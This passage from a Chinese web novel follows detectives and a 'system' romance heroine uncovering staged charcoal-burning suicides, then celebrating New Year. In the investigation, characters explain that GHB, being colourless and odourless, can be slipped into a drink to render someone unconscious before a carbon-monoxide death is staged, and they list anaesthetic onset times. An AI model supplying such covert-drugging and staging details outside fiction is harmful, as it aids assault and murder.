警员依言把视频往后退,并将那部分画面放大。
为了保证宝宝的睡眠质量,当时婴儿房的窗帘被拉上了,房间里十分昏暗,只有门缝下面透着一线光。
三点四十分左右,那一线光倏然变得忽明忽暗,似乎是被什么东西给遮挡住了。约莫过了一分钟左右,光线才重新亮起。
方晴家一共有三个房间,发现她尸体的房间是位于走廊尽头的主卧,也就是说,要到达主卧,就必须先经过婴儿房。
光被遮住,是不是就意味着那个时间点有人曾经从婴儿房经过?
会议室里所有人精神一振,都不自觉坐直了身体,七嘴八舌讨论起来。
“这也不能证明什么呀,可能是方晴自己走过去了呢。”
“走过去的话也就一两秒的事情,这里的光线被遮挡了那么久,不像是单纯路过吧。”
程述若有所思转动手上的笔,说道:“这还不简单,做个实验就知道了。”
秦聿风点点头同意了他的看法,他熄灭会议室的灯,把所有窗帘拉起来,关上门后,让两名警员在外面按照猜测还原现场,其他人留在会议室里观察。
经过几轮试验后,他们终于确定,应该是拖着什么重物从门前经过,才会需要花上半分钟之久。
警员找来昨晚在现场拍的照片和视频,并没有在方晴的房间里发现需要费力挪动或拖动的东西。
那么这个重物,有没有可能是一个成年人?
比如说,陷入昏迷的方晴。
一道熟悉的声音从门口传来:“方晴身上并没有明显外伤,如果想要让她陷入昏迷,那么最有可能的就是使用药物了。”
祝好转过头,看到温珣不知什么时候出现在会议室门口,便跟他打了个招呼:“温主任?”
他朝祝好笑了笑:“早上好,祝好。我刚忙完,听我的助理说你们怀疑方晴不是自杀的,所以过来看看有没有能帮上忙的地方。”
“当然有了,温主任,你来得正好。”秦聿风摆手示意他进来,问道:“毒物检测的结果一般多久能出来?”
祝好想往旁边挪一挪给温珣腾个位置,却发现自己的椅子纹丝不动,低头一看,瞅见程述的一只脚正踩在她椅子中间的横条上。
她不满地斜了程述一眼,程述只当没看到,不动声色地把目光移向别处。
温珣没注意到这边的动静,在另一名警员给他搬来的椅子上坐下了:“加急做的话,24小时内。”
秦聿风又问:“你觉得死者是不是被注射了什么麻醉药,才导致她昏迷并失去意识?”
温珣说:“首先我们并没有在死者身上找到任何针眼,其次,能快速起效的麻醉药,如丙泊酚、依托咪酯和**等,虽然起效时间很快,但同时持续的时间很短,一般只有5到15分钟的作用。”
烧炭导致的一氧化碳中毒死亡,整个过程大约需要三十分钟到一小时,如果麻醉剂的效果太短,那么方晴恢复意识后一定会自行逃脱。
温珣继续说:“长效的注射麻醉剂,如维库溴铵、利多/卡因等,虽然持续时间长,但是需要三到五分钟才能起效,如果受害者被注射了麻醉剂,一就会药效发作前奋起反抗。”
程述接过话茬:“如果不是注射的麻醉剂,那就只能是口服药物了,比如羟基丁酸。”
温珣点了点头:“这种药物无色无味且透明,放进饮料里也不易察觉,而且能快速致人昏迷。”
方晴身上没有外伤,家里门窗完好、屋内没有打斗痕迹,如果当时家里真的有第二个人,那他一定跟方晴认识。方晴对他并没有戒备,才给了他偷偷在饮料里下药的机会。
也就是说,方晴虽然死于一氧化碳中毒,但这很有可能不是一起自杀案,而是被伪装成自杀的谋杀案。
这一发现让所有人原地打了管鸡血,一室的萎靡不振一扫而空。
不过很快他们又面临着新的问题,如果方晴不是自杀,那么凶手的杀人动机是什么?那封遗书又究竟是怎么一回事?
会议室里的众人不约而同把目光投向秦聿风,等待他制定下一步的计划。
秦聿风思考良久,说道:“方晴是家庭主妇,交际面很窄,查一下她的通话记录和上网
记录,走访调查周围的邻居和她的家人、朋友,逐一排查这几天跟她有过联系的人。哦,对了,小区的监控也要再捋一遍。”
祝好举起手,得到秦聿风的应允后补充了一句:“如果凶手是预谋作案,那应该会准备好足量的煤炭,我觉得可以排查监控里提着重物走进小区里的人。”
毕竟现在大多数家庭靠暖气或空调取暖,不会有人特地把煤炭存放在家里,凶手如果要保证自己的计划万无一失,一定会带着煤炭前来——就算不带进方晴家,也会放在附近,如楼道里,方便取用。
秦聿风朝祝好弯了弯眉眼:“分析得很有道理,不过下次要发言直接说就行,不用举手。”
系统传出提示音:“与秦聿风的好感度+5,获得50积分!”
祝好突然发觉跟秦聿风的好感度有很大一部分是在破案过程中提升的,她暗自腹诽,其实秦聿风的恋爱对象应该是工作才对吧。
秦聿风当然不知道她的这些小心思,他转向温珣:“温主任,那就麻烦你回去先对死者做个毒物检测,再把昨天在现场采集到的指纹放进数据库里比对一下。”
说完又问扶着额角不知在思考什么的程述:“老程,你还有什么想法吗?”
程述的目光扫过白板上的信息,又把手中的资料翻了一遍,问道:“之前的两名死者留下的遗书做过笔迹鉴定了吗?”
有警员回答:“做过了,确认遗书都是他们亲笔写的。”
程述屈起手指,有规律地敲击着桌面,稍一沉思,说道:“我想去之前的两位死者家里看看。”
*
淮江市有一家橡胶厂,二十多年因为经营不善倒闭了,许多老员工为了另谋出路纷纷搬离,曾经热闹的工厂家属楼也逐渐变得冷清。
刘玉珍的住址就在这儿。
这里跟许多老旧居民区差不多,楼与楼之间紧紧相依,灰黄色的墙皮斑驳地脱落,露出深浅不一的水泥底色,上面还贴着层层叠叠的小广告,在日晒雨淋之下逐渐褪了色。
刘玉珍的儿子接到秦聿风的电话时表现得十分不耐烦,但碍于警察的面子又不得不好声好气说话,最后还是让妻子利用午休时间抽空过来给他们开个门。
这时雪已经停了,几个调皮的孩子嘻嘻哈哈地在楼前坑洼不平的雪地上追逐打闹,时不时偷偷打量着站在楼下等待的几张陌生面孔。
刚才出来时祝好忘了把围巾戴上,冷冽的寒风从领子往里钻,激得她打了个寒颤,不自觉缩了缩脖子。
秦聿风到无人的角落里抽了支烟,慢悠悠地踱步回来时,看到祝好正往手心里哈气取暖,便把自己的围巾从脖子上拆下来递给她:“祝好,戴上我的围巾吧。”
祝好本想婉拒,又突然想到系统曾经说过接受可攻略对象的好意可能会提升好感度,刚要伸手接过来,程述却从秦聿风手里把围巾夺了过去,放在鼻端下嗅了嗅,嫌弃道:“啧,一股烟味儿。”
秦聿风把围巾抢回去:“哪有烟味儿,我刚闻过。”
话虽如此,他还是用力闻了闻,重新确认了一下,余光看到程述一脸坏笑,才反应过来这家伙没安好心。
他面露愠怒:“老程,你是不是还想再打一架?”
程述朝他挑眉:“看来秦队这是没输够啊。”
“那是因为你耍阴招!”
“我向来光明磊落,你可别污蔑我。”
听着他俩你一句我一句拌嘴,祝好叹了口气,刚想悄悄往旁边挪几步远离这两个幼稚的男人,就看到不远处一个穿着长款羽绒服大衣、背着挎包的年轻女人往这边走来,赶紧轻咳一声,提醒道:“别吵了,刘玉珍的儿媳来了。”
秦聿风一秒转换回靠谱的刑警队长形象,脸上挂着客套的笑:“您好,我们是淮江市刑警队的警察。”
刘玉珍的儿媳没理会秦聿风的招呼,径直往楼上走,边走边抱怨:“人都已经火化了,到底还有什么好查的?我好不容易有两个小时的午休时间,还要特地跑过来一趟,你当我们老百姓很闲吗?”
类似的埋怨秦聿风不是第一次听了,他只是好脾气地笑笑,叫上祝好和程述,踩着楼道台阶上厚厚的污垢,跟上刘玉珍儿媳的脚步来到了三楼。
这栋楼一层有两间房,刘玉珍的儿媳站定在左边那间房的门口,掏出钥匙打开了油漆剥落了大半的铁门。
屋里的家具基本保持着原来的样子,一个多月无人居住,上面落了薄薄一层灰。
当时最先发现刘玉珍尸体的是附近的邻居,那天本来约好来跟她聊天,但敲了半天门都无人应答,打电话却听到手机铃声在屋里响起。
这位邻居是跟刘玉珍相识几十年的工友了,察觉情况不对,赶紧给刘玉珍的儿子打了电话。
自从那件事之后,儿子几乎没再跟刘玉珍有过联系,接到邻居的电话后也是下了班才不紧不慢过来。结果一打开门,就发现刘玉珍已经在房门紧闭的卧室里烧炭“自尽”,手边还放着一封遗书,里面通篇都是内心的煎熬和懊悔。
程述在屋里转了一圈,转头问刘玉珍的儿媳:“这间房子出事之后动过吗?”
刘玉珍的儿媳一脸不耐:“打扫过一次,本来想卖掉的,但是房子本来就老旧,还死过人,还有谁会买啊?”
既然打扫过,那很多有价值的线索也都不复存在,而且当初这个案子是以自杀结案,对现场的勘察自然没有那么仔细。
程述拿起放在床头柜上的一张全家福,淡淡地问:“你心里一直
在责怪她?”
刘玉珍的儿媳倏地一愣,眼眶突然红了,压抑的情绪一时没绷住,声调也微微拔高了些:“我怎么能不怪她?我十月怀胎辛苦生下来的孩子就这么没了,如果是你,你能说服自己原谅她吗?”
祝好如鲠在喉,她能理解刘玉珍儿媳失去儿子的痛苦,但刘玉珍不是故意为之,她也没想过顺手喂的一个果冻会要了孙子的命。
那件事之后,她一直深陷愧疚和自责中无法自拔,床头柜的抽屉里医生开的证明和几粒安眠药也述说着一个个夜不成寐的晚上。
房间正对床的墙上挂着一枚精致的十字架,秦聿风戴上手套,将十字架取下来,转头问道:“刘玉珍信基督教?”
刘玉珍的儿媳平复了一下情绪,答道:“我对这个也不太了解,不过她信这个几十年了,每周日都会去教堂做礼拜,睡前还会念什么祷告词。”
程述从秦聿风手里拿过十字架看了一眼,说:“不是基督教,这是天主教。基督教的十字架一般比较简洁,天主教的十字架才会像这样有耶稣基督的雕像,四角端头有三叶草型的装饰……”
他话音顿住,似乎是想到了什么,朝秦聿风问道:“上回你说,柯盛的尸体还没有火化?”
秦聿风被他跳跃的思维整得略一愣证,点了点头:“应该是,柯盛的父母不相信他是自杀的,所以一直把他的尸体存放在殡仪馆里。”
程述对着十字架沉思了一会儿,低声说道:“刘玉珍也不是自杀,这很有可能是一起连环杀人案。马上联系柯盛的父母,把他的尸体带回局里让温珣做个尸检。”
第170章
刘玉珍的儿媳还要赶着回去上班,仓促拍下几张照片之后,他们离开了刘玉珍家。
站在楼下,秦聿风先给柯盛的父母打了个电话,没说明具体原因,只是委婉地询问是否能去柯盛出事的那间房子看看。本以为会遭到拒绝,没想到他们几乎立刻就答应了,言语之间有按捺不住的激动。
柯盛家在一栋青年公寓里,距离刘玉珍居住的橡胶厂家属区也就两公里左右,开车过去大约只需要五分钟。
路上,祝好忍不住问程述:“老大,你为什么肯定刘玉珍不是自杀?”
程述简短地回答:“自杀在天主教中被视为严重的罪过,自杀的人是无法上天堂的。”
祝好恍然:刘玉珍坚持每个周都去做礼拜,是非常虔诚的教徒,而“自杀”在天主教中被视作对生命的亵渎,因此即便她对孙子的死感到愧疚自责,也不会选择自我了结。
“如果这真的是一起连环杀人案,那凶手的目的是什么?”秦聿风挂掉电话,提出了疑问:“还有那些遗书又怎么解释?”
经过比对和专家鉴定,那几封遗书都是受害者亲手所写,如果他们并没有自杀的想法,又为什么要写下遗书?
难道说是被凶手逼着写下的吗?
也不对,虽然三名受害者都不是身强力壮的人,柯盛甚至双腿残疾,但人在面对危险的时候总是会爆发出无限潜能,就算不能奋起反抗也会大声呼救。
可根据现场勘查,几名受害者身上都没有任何反抗伤,屋里没有打斗痕迹,周围的邻居也表示没有听到过争吵。
程述摇了摇头,表示没有头绪:“总之这几名死者之间一定有关联,一步一步来吧。”
等他们把车停好,来到青年公寓楼下的大堂时,柯盛的父母已经互相搀扶着在等待了。
秦聿风走上前,向他们亮出证件后,他们难掩面上的激动,紧紧握住秦聿风的手:“警察同志,你好,我们就住在附近,一接到电话就赶过来了。你们要对现场重新调查,说明我家小盛不是自杀的,对吗?”
当时这起案子并不是秦聿风负责,但面对失去爱子后几乎一夜白头的夫妻俩,他还是诚挚地表达了自己的歉意:“抱歉,现在还没有办法完全确定,不过我们一定会尽力还原真相。”
柯母用袖口抹了把眼泪,哽咽道:“不怪你们,小盛他留了遗书,任谁都觉得他是自杀的,只有我跟他爸固执地认为他不会这么做。”
祝好从包里掏出一包纸巾,抽了一张递给柯母,问道:“冒昧问一句,你们为什么会觉得柯盛不是自杀?”
柯父回答:“小盛从小就是个很乐观的孩子,虽然失去双腿对他的打击很大,但他一直很努力地进行复健。”
祝好问:“他从来没有表露出轻生的念头吗?”
柯母缓缓摇头:“没有,我跟他爸爸难过的时候他还安慰我们,现在医疗技术那么发达,装上假肢后他完全可以像正常人一样生活。本来我们要他搬回家住,方便照顾他,可他拒绝了,说要学会自己独立生活,将来争取不给任何人添麻烦。”
“能详细说说那天发生的事情吗?”
当时报警和拨打急救电话的是柯父,他闭上眼睛,紧拧着双眉回想片刻,沉重地摇了摇头:“当时现场太混乱,我……我好像什么也记不起来,感觉脑子被一团迷雾笼罩着。”
“你也许不是不记得,只是当时的画面对你的冲击太大,大脑下意识屏蔽了那些痛苦的记忆。如果你能记起来,对我们弄清柯盛的真正死因有很大帮助。”程述说:“如果我有办法帮你回忆,你愿意配合我吗?”
柯父跟妻子对视了一眼,紧紧握住对方的手。
那样的画面每回忆一次,就如同用刀在他们心口划出一道口子、再撒上一把盐,但他还是抿着唇坚定地点了点头:“我要怎么做?”
程述摁下电梯的上行键,说道:“我们先去柯盛家。”
秦聿风说:“那我们分头行动,我先去问问物业还能不能找到那天的监控录像。”
柯盛家在八楼,是一间两室一厅的小居室,门口还贴着去年过年没揭掉的“福”字。
当时不论是场勘查还是尸检结果上看柯盛都是自杀,加之救护车赶来后医生对柯盛实施过抢救,屋里人多且杂乱,所以现场并没有得到很好的保护。
因此,柯父的回忆就至关重要,说不定能在其中获得跟凶手有关的线索。
站在柯盛家门口,程述对柯父道:“放轻松,闭上眼睛,现在我们要回到那天傍晚,我需要你跟着我的提示在大脑里回想当时的情景——气味、声音、画面,并把你感受到的一切都告诉我。”
柯父依言闭上双眼,长吁了一口气:“好。”
程述徐徐引导:“当时天气怎么样?你穿着什么衣服,身上带着什么东西?”
柯父逐渐放松身体,陷入了回忆中:“当时下着小雪,外面很冷。我手里提着一壶海带排骨汤。孩子他妈炖了一个早上,让我给小盛送过来。出门之前我给他打了电话,但是他没接。”
“你们有他家的钥匙,对吗?”
“对,我敲了敲门,里面没声音,就用钥匙打开了门。”
程述握住他的手,引领他把钥匙插紧锁眼里,打开了柯盛家的门,带着他往里走:“进屋之后,你感受到了什么?”
柯父站定在门口的地垫上,微微蹙眉:“当时房间里很安静,空气中似乎有一股淡淡的煤炭的气味,但我并没有太在意。”
一般来说,家里出现不寻常的气味,应该会第一时间寻找气味的来源,他为什么没在意?
程述试探性地问:“你被什么东西吸引了注意力吗?”
柯父扶着门框点了点头:“进门后我被门口地垫上的一双拖鞋绊了一下,手里的汤差点泼出来。我叫小盛的名字,但他没有回应。我想着他应该是出去了,就把那双拖鞋收了起来。”
程述很快捕捉到重点:“你进屋应该要换拖鞋,为什么不直接穿上那双,而是要把它收进鞋柜里?”
柯父回答:“那双拖鞋平时是给他妈妈准备的,码数不适合我,把那双鞋收进去后,我拿出自己的拖鞋换上了。”
祝好闻言蹲下身打开鞋柜,里面果然有两双拖鞋,其中有一双是蓝色的男款拖鞋,另一双则是38码的女款拖鞋。
她把拖鞋举起来,向柯母投去探寻的目光,柯母默不作声地点点头,表示这双鞋的确是她的。
这两双鞋平时都收在鞋柜里,为什么会突然出现在地垫上?
是因为当天柯盛家里来了什么客人,所以才把拖鞋拿出来给对方换上吗?
程述没就这个问题纠结太久,说道:“好,我们继续。走进屋里后,你最先做了什么?”
“我……”柯父没睁眼,只是按记忆往屋里走:“我把汤壶拿进厨房里,放在橱柜上,打开厨房的窗子通风。”
程述引导他走到厨房里,问道:“厨房里有什么特别的吗?”
这回柯父思索了约莫一分钟才回答:“小盛不经常在家做饭,厨房里东西不多,台面上空空荡荡,只有水槽边放着两只杯子。”
顿了顿,他又补充:“两个陶瓷杯,是去年我跟他妈妈去除旅游时带回来的纪念品。”
“杯子里装有什么吗?”
“没
有,杯子是空的,不过上面沾了水,像是刚洗过。”
“好的,你把汤壶放好之后,做了什么?”
“我走回客厅,在沙发上坐下,想打电话问问小盛去了哪里,却发现他的手机放在茶几上。”
程述扶着他,按他的描述把他带到客厅沙发上:“坐下之后,发生了什么?”
柯父坐下后,呼吸突然变得局促起来,双膝并拢,两只手紧紧握在一起,似乎有什么不好的事情正在发生:“我又闻到了那股煤炭的气味,大概是出于直觉,心里突然有种不好的预感,就起身去敲了敲小盛房间的门,但是没人回答……”
“好,现在我们要走进柯盛的房间了,你准备好了吗?”
站在柯盛的房间门前,柯父的下颌不断抽动,浑身难以自抑地颤抖起来,站在一旁的柯母也露出担忧的神色。
程述把手搭在柯父肩上,放缓声线:“没关系,慢慢调整呼吸的节奏,准备好了再告诉我。”
柯父深深地吸了口气,调整好呼吸的频率之后,终于朝程述点了点头:“可以了。”
程述打开了柯盛的房间门,领着他走了进去:“房间里有什么气味?”
柯父重新进入回忆里:“有煤炭的气味,比在外面闻到的更浓烈,熏得我有些头晕。”
“你第一眼看到的是什么?”
“看到……床尾有个铁盆,里面的炭有一部分还在燃烧,有一部分已经变成了灰色。”柯父紧紧攥着拳头,努力克制自己的情绪。
“柯盛在哪儿?”
“小盛……小盛就趴在床边的地上……我冲过去叫他的名字,想扶着他坐起来,但是他……他没有反应。”柯父往后退了几步靠在墙上,变得语无伦次:“我吓坏了,愣在原地不知所措,全身都在发抖……我……然后我打开窗,不对,我先打了电话……”
他靠着墙缓缓蹲下,把脸埋在掌心里,痛苦地呜咽起来:“我如果再早来二十分钟……或者十分钟,小盛就不会死了,都是我的错……如果我当时开车过来,如果……如果我直接进了他的房间……他就不会死了……”
柯母再也抑制不住,跪在地上抱着他抽泣起来。
当时救护车赶来时,柯盛已经没有了心跳,虽然医生全力进行抢救,但也无力回天。
饶是如此,柯盛的父母还是陷入了由无数个“如果”带来的遗憾中,无时无刻不在苛责自己。
程述垂眼看着他们,睫尖微颤,眉宇间仿佛有千钧重,似乎是努力在压服心头白般翻涌的情绪。
或许柯父那一连串的“如果”,也让他想起了压抑在潜意识里的某些回忆。
祝好挪到他身边,轻轻推了推他,低声问道:“老大,你还好吗?”
前后不过半分钟的功夫,他已经把方才外露的心绪收敛干净,摇摇头表示自己没事。
良久后,发泄完情绪的柯父柯母终于平复了些许,互相依偎在墙边发呆。祝好把纸巾送到他们手里,轻声安慰:“叔叔阿姨,错的不是你们,别责怪自己。”
柯父接过纸巾擦了擦眼泪,片刻后抬眼看向程述:“我们继续吧。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
170-180
第171章
程述蹙眉问道:“你可以吗?”
“可以,我相信小盛不会做出这样的事情,不论如何,我要弄清他的死因,给我们、也给他一个交代。”柯父从地上站起来,扯了扯外套下摆,闭上眼睛:“我准备好了,我们从哪里开始?”
程述沉默了一瞬,才继续刚才的引导:“现在你进到了房间里,看到趴在地上的柯盛。仔细回想一下,他当时是什么样的姿势?”
“面部朝下,两只胳膊往前伸。”柯父回忆片刻,颤抖着比划。
“他的胳膊伸向哪儿?”
“伸向……门口。”
程述的神色变得凝重起来:“那他的轮椅呢?轮椅在哪儿?”
“在……”柯盛的父亲喉结轻轻滚动,仔细回想:“在门边。”
柯盛的床靠着墙,离门边大约有两米的距离。按照他平时的习惯,应该会把轮椅放在床边,方便自己上下床。
如果轮椅离床边那么远,那只能说明一个问题,那就是凶手担心柯盛会中途醒来,所以特地把轮椅推到远离床边的位置。
而柯盛确实也从昏迷中醒过来了,意识到不对劲之后,他曾经尝试过自救,拼尽全力爬下床,却因为麻醉药的药效和一氧化碳中毒导致的全身乏力而昏倒在地上,最终还是没能逃脱厄运。
回忆结束后,柯父脱力地靠在墙上,脸上糊满了眼泪和汗水,问道:“警察同志,我家小盛不是自杀的,对吗?”
程述转头看向墙上的两张照片,一张是柯盛举着登山杖站在山顶笑得春风得意,当时他的双腿还完好;另一张是出院之前他跟父母、医生的合影,虽然坐在轮椅上,但他笑容依旧。
程述说:“他不是自杀的,他很坚强,直到最后一刻,他也还在尝试自救。”
柯母紧咬嘴唇,强忍眼泪,哽咽道:“那……”
祝好明白她的意思,没等她把话说完就重重点头:“叔叔阿姨,你们放心,我们一定会找到那个人的。”
“谢谢你们,辛苦了。”柯母长舒一口气,牢牢握住祝好的手,努力牵起嘴角:“我们今天就在这里陪小盛过节,你们的家人一定早就在家等你们了吧?赶紧回去吃饭吧,新年快乐。”
新年?
祝好意识到什么,拿起手机看了眼日期,才发现今天已经是除夕了,难怪刚才一路过来路上行人那么少,很多店铺也都暂停营业,原来是赶着回家过年了。
这几天光顾着为了这起连环自杀案奔忙,她差点连过年这件事都忘了。
与柯父柯母告别之后,他们乘坐电梯来到青年公寓的大堂,秦聿风也刚好从物业办公室出来。不过从他怏怏不乐的表情上看,结果应该不太乐观。
果不其然,他叹了口气:“物业的监控记录只能保留十五天,十五天后自动覆盖。”
今天距离柯盛出事的时间刚好过去十六天,当天的监控记录已经被覆盖,也就无法从里面找出凶手的身影了。
秦聿风又问:“你们那边有什么发现吗?”
程述点点头:“根据柯盛父亲的回忆,当天应该也有人去了柯盛家,而且大概率就是那个凶手。对了,凶手应该是名女性。”
“女性?怎么看出来的?”
祝好接过话:“柯盛给她准备的是一双38码的女款拖鞋。”
程述继续道:“这个凶手从表面上看待人和善,很好相处,能让受害者不自觉对她敞开心扉,所以才会毫无防备将她请进家门。”
秦聿风捻着下巴稍一思索,问道:“那遗书呢?凶手再怎么聪明,也没办法强迫受害者写下遗书吧?”
的确,那几封遗书字迹工整,语句通顺,并不像是在受胁迫的情况下写出来的。
“这个我也还在想,不过……”
程述话还没说完,秦聿风的电话突然响了,他朝程述做了个暂停的手势,接起了电话:“喂,妈,我在外面查案子呢……知道了,马上就回去。”
挂了电话,他呼了口气,转头问祝好:“祝好,你们今晚打算怎么过?要不要跟我回家一起……”
程述没给他把话说完的机会:“算了,你家老头子的唠叨你自己承受吧,我们自有安排。”
秦聿风朝祝好看了一眼,似乎有些不甘心,但还是没说什么,只是弯了弯眉眼:“行,那我就先回去了。祝好,新年快乐。”
祝好也报以一笑:“新年快乐。”
*
这个时间点,菜市场已经没人摆摊了,幸亏一些大型连锁超市还开着。虽然食材不算多,但也足够应付今天的晚餐了。
趁程述挑选食材的当儿,祝好在附近闲逛起来。
超市里有卖宠物用品的区域,货架上的猫粮都是些平价口粮,那位吃惯了进口猫粮、口味刁钻的白大爷肯定不屑一顾。
祝好转了一圈,被旁边的宠物服饰吸引了目光,给白眼狼选了一串用红绳编织而成、上面挂着个金色长命锁的项圈,又买了一副对联和几张颇具年味的贴画。
回到家后,她从购物袋里翻出刚才买的对联,踩着凳子在门框上比划。
老式的居民楼飘着各家各户炖肉的香气,窗外的落雪已经停了,天空是一片澄澈的深蓝色。
她刚要把左边的对联贴上,就听到身后传来程述的声音:“下联应该贴在左边吧?”
祝好动作顿住,疑惑道:“是吗?我怎么觉得这是上联。”
“上联最后一个字一般是仄声,‘平安’的‘安’字是平声,所以应该是下联……”程述扶住她脚下摇摇欲坠的木凳:“算了,我来吧,你先下来。”
祝好应了一声,刚从凳子上跳下来,就看到房东大妈端着一盘炸丸子走上楼:“小程,祝好,贴对联呢?这是我刚炸的萝卜丸子,你们尝尝。”
祝好道了句谢谢,把一颗肉丸塞进嘴里,称赞道:“张姨,您手艺也太好了吧!超级好吃!”
房东大妈被她真诚又略带夸张的语气逗得喜笑颜开,把盘子往前递了一
些:“小程,你也尝一个。”
程述摊开手朝她示意:“不用了,我手上都是胶水。”
房东大妈不乐意:“那有什么,让祝好喂你吃一个不就行了?”
祝好愣了一下,跟程述对视了一眼,回过头又撞上房东大妈期待的眼神,只得从盘子中捻起一颗炸丸子,抬起手递给程述。
程述抿嘴笑了一下,弯腰从她手上把丸子叼走。
指尖触及他温热的嘴唇,祝好脸上蓦然一烫,赶紧将手收回,背在身后。
房东大妈笑吟吟地问了句:“好吃吧?小程。”
程述真情实意地点点头:“嗯,好吃。”
“好吃就行,这一盘都给你们啦。”得到满意的答复,房东大妈把一整盘丸子塞给祝好,说了句“新年快乐”,转身下楼去了。
程述很快把对联贴好,从凳子上下来,拍了拍手上的金粉,后退几步欣赏自己的杰作。确认两边都对齐之后,才拉开门往屋里走。
祝好把那盘炸丸子放在餐桌上,给白眼狼戴上了新买的项圈,欣赏了好一会儿,拿出手机拍了张照片,群发给三位可攻略对象,并附上了一句“新年快乐”。
没过多久,就陆续收到了回复。
李砚川:“新年快乐,希望好好和白眼狼小朋友新的一年也能顺顺利利,平平安安。”
还附带了一个红包,写着“给白眼狼的新年礼物”。
秦聿风也回复了一张照片,照片上是上回去游乐场赢的那只玩偶小熊,小熊怀里还有个红包。
过了一会儿,他的信息也发了过来:“祝好,也祝你新年快乐,红包它先代你保管,明天我再转交给你。”
温珣:“新年快乐,祝好。岁聿云暮,一元复始,祝你事事如愿,希望明年有机会能跟你共度新年。”
当然也少不了一个红包。
收下了他们的红包,自己多少也应该表示一下吧。祝好想了想,点开了系统商城。
李砚川喜欢品酒,送他一只精致的高脚杯刚刚好;温珣工作时经常要低头,便携的按摩仪放在他办公室应该很实用;至于秦聿风……上回看到他的钱包已经挺旧了,不如就送他一个新的吧。
还有……祝好若有所思地转头望向程述在厨房里忙碌的背影。
程述似有所感,回头对上她的目光,催促道:“傻乐什么,进来帮我把姜切一下。”
祝好应了一声,关掉系统商城。
灶台上砂锅里的鸡汤正在咕嘟冒泡,蒸腾的热气模糊了玻璃窗外的景色。
她洗干净手切好姜丝,撒进烧热油的锅里,程述随即把腌好的排骨滑进去,随着“滋啦”一声,香味很快溢开。
暮色四合时,几道菜终于备齐。
今年的春节总算不是一个人过了,屋里很暖和,饭菜也很好吃,戴上新项圈的白眼狼依旧在腿边转悠,试图能蹭上一块鱼肉。
祝好心里漫上一股暖意,她举起装着可乐的杯子:“老大,干杯!敬我们的侦探社,祝你新的一年做大做强!”
程述夹菜的动作顿住,放下筷子,拿起杯子跟她碰了一下:“你就没有别的愿望了吗?”
祝好略一思索:“当然有。”
“什么?”
“听说零点市中心会组织焰火晚会,我们待会儿能到楼顶去看吗?”
程述一愣,低笑一声:“好。”
*
第二次爬上楼顶,祝好的动作已经熟练许多。雪后的天气格外冷冽,呼出的白气还未成型,就凝成了细碎的冰晶。
零点的钟声悠然响起,远处传来第一声焰火的呼啸,一道银光划破夜幕腾空而上,在苍穹中炸开,碎成漫天流萤。
随后无数朵焰火陆续涌向天幕,在半空中定格片刻后,倏然绽放出瑰丽的色彩。天空仿佛变成了一块画布,任由焰火将其涂抹得缤纷绚烂。
祝好仰头与一朵朵焰火对视许久,突然转过头对程述说:“对了,老大,我有礼物要给你。”
“什么礼物?”
“你先闭上眼睛。”
程述不屑地嗤笑一声,但还是听话地把眼睛闭上了。
祝好点开系统商城,用积分兑换了一条红色的围巾,挂在程述脖子上。
程述睁开眼,低头看着脖子上的围巾,眼中闪过一抹讶色:“这是……”
祝好拎起围巾的一端,在他脖子上绕了个圈:“你不是说你从来没收到过女孩子的礼物吗?那副手铐不算,这算是一份正式的礼物。新年快乐,老大!”
程述掀起眼皮淡淡一笑,炙热的焰火渗进他黑沉的眼眸里,落在祝好身上的视线仿佛有了实感。
过了一会儿,他偏过头,目光回到漫天的火树银花上,轻声说道:“新年快乐,祝好。”
第172章
新年的第一个夜晚,伴着窗外零星的鞭炮声,祝好美美地睡了一觉,醒来时仍觉得意犹未尽,重新闭上眼睛,赖在温暖的被窝里不愿起床。
直到身上蓦地一沉,才不情愿地睁眼,发现白眼狼正踩在她胸口居高临下打量着她,似乎在用眼神质问:“人,你为何还不起床?”
祝好挪动了几下身子他也不肯下来,只好艰难地把它从身上抱开,坐起来伸了个懒腰,换好衣服下楼。
茶几上散落着一沓纸,坐在沙发上的程述听到脚步声,头也不抬地说了句:“早餐在桌上,自己放进微波炉里热一下。”
祝好应了一声,把装在餐盘里的吐司和一杯牛奶一起放进微波炉,洗漱完毕时,早餐也刚好热好。
咬了口吐司,她抬头看向墙上的挂钟,才发现已经十点半了。
她瞪大眼睛:“老大,你怎么不叫我起床?”
程述不紧不慢:“新年第一天,你就不能给自己放个假吗?”
“那起连环自杀案还没破呢。”一想起柯盛父母昨天的表情,祝好心里有些五味杂陈,问道:“秦聿风那边有什么新消息吗?”
程述没回答,只是轻笑:“那么敬业,这世界要是没了你可怎么办好。”
语气之诚恳,让祝好一时听不出他是阴阳还是有感而发,只能顺着他的话音道:“不是还有你、温珣和秦聿风嘛!在我来之前,这世界还不是照常运转?”
程述眉眼低垂,淡淡说了句:“不一样。”
“有什么不一样?”
“反正就是不一样。”
祝好默默翻了个白眼,她不奢望能从程述嘴里听到什么直白的话,但他每次都语焉不详的,实在让人难以琢磨,索性就不深入探究了。
吃了两口吐司,手机突然震动起来,祝好看了眼屏幕,是李砚川发来的信息:“好好,新年快乐!我知道有一家新开的甜品店东西特别好吃,我们今天一起去,好吗?”
昨天从系统商城兑换的那
只高脚杯还没机会送出去,祝好想了想,叼着吐司、捧着牛奶来到沙发边,挨着程述坐下:“老大,我们今天是不是不去警局了?”
程述靠在沙发上,两只手各拿着一张纸,像是在对比什么:“嗯,怎么了?”
祝好一口气把牛奶喝完,说:“那我待会儿跟李砚川出去玩。”
程述动作一滞,果断拒绝:“不行!”
祝好愣住:“为什么?”
刚才还让她给自己放一天假,现在怎么突然又不行了?
程述扬了扬手里的几张打印纸:“老秦把那几封遗书给我发过来了,我得留在家里研究。”
祝好:?
她问:“你留在家里研究……跟我去玩,这两件事有什么冲突吗?”
“当然有了!”程述理直气壮把手里的资料撂在桌上:“这可是你的剧情任务,我在家帮你做攻略,你自己出去玩,你说说这合理吗?”
好家伙!这么一想,好像确实不太合理。
祝好一时理亏,又不知要如何反驳,眼睛瞥到纸上密密麻麻的标注:“你这不是已经研究得差不多了吗?我好像也帮不上什么忙啊。”
程述不以为意地偏过头,嘴角弯起一个贱兮兮的弧度:“就算你帮不上忙,也得在旁边陪着我,实在闲得慌的话可以帮我端茶倒水,捏肩捶背什么的。”
祝好:……
大过年的,不能生气。
她做了个深呼吸,在心里默念了一遍净心口诀,又把之前那些感人至深的过往回忆了一遍,感觉自己的道德水平得到显著提升之后,才说了句:“行吧。”
人不能既要又要,她拿起手机,回复了李砚川的信息:“对不起啊,李砚川,我今天去不了了,改天再跟你一起去吧。”
